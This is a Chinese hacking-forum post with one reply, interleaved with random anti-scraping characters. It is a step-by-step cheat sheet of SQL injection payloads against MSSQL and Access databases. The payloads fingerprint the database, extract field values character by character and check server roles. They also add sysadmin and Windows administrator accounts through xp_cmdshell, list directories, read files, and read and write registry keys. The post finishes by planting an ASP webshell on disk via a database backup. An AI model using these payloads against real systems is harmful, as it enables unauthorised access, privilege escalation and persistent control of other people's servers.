找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2810|回复: 1
打印 上一主题 下一主题

手工脚本注入

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:48:50 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
手工脚本注入 " m3 \- {5 B5 v4 N; C
1.判断是否有注入;and 1=1 ;and 1=2 ) o! {, ]/ D5 C

8 }5 p& t6 F: p( q! [! u2.初步判断是否是mssql ;and user>0 : g- u5 U% V( ~2 ?7 N4 g; O" c, k2 d

0 `) x' b# {5 w( s8 Y% [$ B; Q, k* W3.注入参数是字符'and [查询条件] and ''='
" O8 ^$ I# u9 [0 c9 m2 r6 v3 R' G* ]* U  U1 p
4.搜索时没过滤参数的'and [查询条件] and '%25'='
9 Z8 _9 D! W9 F6 z# ]% a. d& N) |2 y; M  A5 Q9 }( `
5.判断数据库系统 , _* D) ^, m1 s3 {6 p
;and (select count(*) from sysobjects)>0 mssql - R4 c+ o) ?0 M9 W" P
;and (select count(*) from msysobjects)>0 access
3 t& z" x  U  E7 b8 ]( R2 H
6 V2 Z) U6 K+ q; G6.猜数据库 ;and (select Count(*) from [数据库名])>0   U) O/ m! O6 g, H4 v. {
2 Y& k* o8 p. P# d9 B# t3 j
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 2 @8 @3 Q9 L5 j& a

/ k! Z6 v+ a5 {9 x8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 & T" `8 z4 F  j0 D- E9 f- |
) }$ W- }1 \  I/ k& x( h* N
9.(1)猜字段的ascii值(access) 6 d  g% m+ o0 \3 |* {: [2 R& x5 W2 ?
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 2 I8 }0 Q6 `" v8 R! C5 Q* I1 z
6 a/ Y0 p* G1 J* \; p
(2)猜字段的ascii值(mssql)
7 S3 I8 q; j, F+ h' e' `;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
9 H6 S7 V0 T! w$ T. Y2 s' w$ b3 P3 b* \" [# `7 ^
10.测试权限结构(mssql) ! T  _8 e: `5 R! F9 @
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
9 p, h. p7 t6 l$ Q, O: d, W, K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / @/ f7 d2 z& X7 t( \
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
( h& k( l& S/ z2 T, z;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- ; ]2 o/ i- s( {/ m& \
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
+ g1 w+ ]2 J, G- A9 v7 g;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + E# H! D  m, L0 O- L- l
;and 1=(select IS_MEMBER('db_owner'));-- : u7 }5 o, x2 @! f6 L
: W* Q, t2 ]( }( e
11.添加mssql和系统的帐户
4 i: ?- Q3 ?8 K+ j;exec master.dbo.sp_addlogin username;--
& ?3 }& m& N4 l; {  G
+ v2 d- W+ I- j" |: x;exec master.dbo.sp_password null,username,password;-- 7 k" E) q' I1 u4 ^6 O' Y5 i

) E/ L% r0 r6 G: K  ^! L  y;exec master.dbo.sp_addsrvrolemember sysadmin username;-- , W! ^+ F* M$ u+ b

' m9 _% ~7 F! h) c. R+ F6 s;exec master.dbo.xp_cmdshell 'net user username password
. ~+ B* w4 l0 [2 `/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
& z- ^* P+ x; e, Z+ K% I& E% ~" b: X
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 4 q. m% n7 \' B/ G: C% S/ _

5 `9 q) V" A. ^;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- # w/ W' a# A9 v% D# }
. |( j+ D# C# p8 h1 B, A
12.(1)遍历目录
- D. X$ P( J9 G  Y7 x1 }: _
5 Z( l: I) T7 m% M0 o3 `8 Q0 u;create table dirs(paths varchar(100), id int) 0 V6 u7 S1 i& |. v, R) L4 x1 K
;insert dirs exec master.dbo.xp_dirtree 'c:\' " t9 L2 E: G2 `" l' }# @$ n4 O) J
;and (select top 1 paths from dirs)>0 ! T& N2 S( l+ p; c  S5 X) n6 `5 w; o
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
9 M! O, y  k2 ~5 |
8 J5 ~5 u$ \; m; Y# x" Z, e(2)遍历目录 & R' K7 I0 q4 p, N0 Z, a- [
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- & M5 b7 |# M* Q8 W' v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 , Y3 S% f# o5 d' D; y2 r
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
2 @9 r  V' l- ~;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
! {  Q& V/ K' x, J1 ]* Y& U; j;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 # k7 V! t2 ]; V! n
$ X9 q$ ~" c' ~4 R8 R6 s5 d
13.mssql中的存储过程
0 y' D" f2 W6 o5 d: i
9 j, p& P# [% dxp_regenumvalues 注册表根键, 子键
$ J! b/ [$ B) w+ }; D, ^! c5 t: |;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
% v! K* @) N' y+ c
. x2 y6 q$ Z# |. d5 V( qxp_regread 根键,子键,键值名 9 S1 a% C: ?4 {
;exec xp_regread
* i5 P+ t% ^! c2 M* F'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 # o5 }  d: ^: N
: k/ B8 \% o/ E9 @3 H) V
xp_regwrite 根键,子键, 值名, 值类型, 值 - [- H; {$ m% K* b
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' Q: J" L4 [& C+ u$ C/ K, V6 G;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 , r: r; o' j% h4 W) P4 f
& i: J. T. ^8 D7 I" Q
xp_regdeletevalue 根键,子键,值名
9 [' r3 L6 c7 x. z' O' y. M8 M3 D! ]- s0 P
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
0 h0 c5 F4 Z9 F% W9 A2 h3 {$ E. S' r1 m& `% v% h
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 ( a* r/ K' d6 f% w5 ^* {
" A8 J; d3 E0 S+ V# i
14.mssql的backup创建webshell 9 k5 S9 K6 m2 y5 ]
use model ; m* _- ]" i- s
create table cmd(str image);
7 {+ V" v, ]1 ?9 V" Z" Q6 Xinsert into cmd(str) values ('');
' Z6 \2 j( ~/ M9 b' l9 `backup database model to disk='c:\l.asp'; & }$ u' i7 [" B0 G  S6 O

+ u/ ?! |5 n& M, G+ I15.mssql内置函数
5 V2 x% U- S4 F;and (select @@version)>0 获得Windows的版本号
6 \+ q  a6 J& l. p. y' Q! D+ I2 w;and user_name()='dbo' 判断当前系统的连接用户是不是sa 5 M8 p" z  E. |
;and (select user_name())>0 爆当前系统的连接用户
) N4 \4 O! j4 W" M. y  ^0 u* q;and (select db_name())>0 得到当前连接的数据库
) i8 Y! w- }- K8 Y
/ a1 [0 T, w) T/ D3 o8 e16.简洁的webshell 1 r4 Y$ D( f" X. @8 Y+ k
0 A: q5 w: n6 U, x0 ]
use model % o. L6 k5 T% J9 L5 x

; k& U6 ~3 \7 C$ e$ ycreate table cmd(str image);
" p$ |) ]- E& E2 f* p8 q2 V5 ^. l
; t; V# r( g* s* ], x1 p% Jinsert into cmd(str) values ('');
6 K7 o' ]4 l& y! k4 J1 B$ {
  e, ^4 g2 Z# V6 U1 tbackup database model to disk='g:\wwwtest\l.asp';
5 R3 d' N" z# ]! @) Y: Q. j ' c2 E+ z. Q9 ~+ P1 G" J
回复

使用道具 举报

沙发
发表于 2012-9-15 16:34:20 | 只看该作者
现在很多防注入啊,有其他注入字符码
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表